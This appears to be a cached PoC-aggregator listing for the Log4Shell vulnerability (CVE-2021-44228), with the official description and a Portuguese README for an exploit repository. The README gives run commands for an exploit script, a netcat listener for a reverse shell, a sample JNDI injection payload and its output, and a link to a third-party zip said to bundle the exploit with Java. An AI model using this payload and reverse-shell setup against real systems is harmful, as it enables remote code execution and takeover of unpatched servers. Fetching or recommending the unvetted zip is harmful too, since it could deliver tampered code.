CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

https://github.com/Willian-2-0-0-1/Log4j-Exploit-CVE-2021-44228

Associated Vulnerability

Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Readme

# <marqueee>Log4j-Exploit-CVE-2021-44228</marquee>

Log4Shell Vulnerability Test Tool
https://log4shell.tools/

Exploit com o java já incluso, para evitar criar conta etc..

```
http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc_%25281%2529.zip/file
```
```
pip install -r requirements.txt
```
```
$ python3 poc.py --userip localhost --webport 8000 --lport 9001
```
```
nc -lvnp 9001
```

```
$ python3 poc.py --userip localhost --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up fake LDAP server

[+] Send me: ${jndi:ldap://localhost:1389/a}

Listening on 0.0.0.0:1389
```

Conceito básico de log4j

O  que é JNDI 

É Interface é uma API Java para um serviço de diretório que permite que clientes de software Java descubram e pesquisem dados e recursos por meio de um nome


O que é LDAP 


É um protocolo de acesso ao diretório o LDAP pode ser usado para validar nomes de usuário e senhas com servidores Docker, Jenkins, Kubernetes, Open VPN e Linux Samba . O logon único LDAP também pode ser usado por administradores de sistema para controlar o acesso a um banco de dados LDAP.



PARA QUEM QUISER SABER MAIS SOBRE A FALHA A SEGUE A DOC ABAIXO: 

https://www.lunasec.io/docs/blog/log4j-zero-day/


EXPLOIT SEM O JAVA INCLUSO
<h5>https://github.com/kozmer/log4j-shell-poc</h5>

File Snapshot


 [4.0K]  /data/pocs/52f4f9b91966e4eddd57adbf54b928607111c2fc
└── [1.4K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!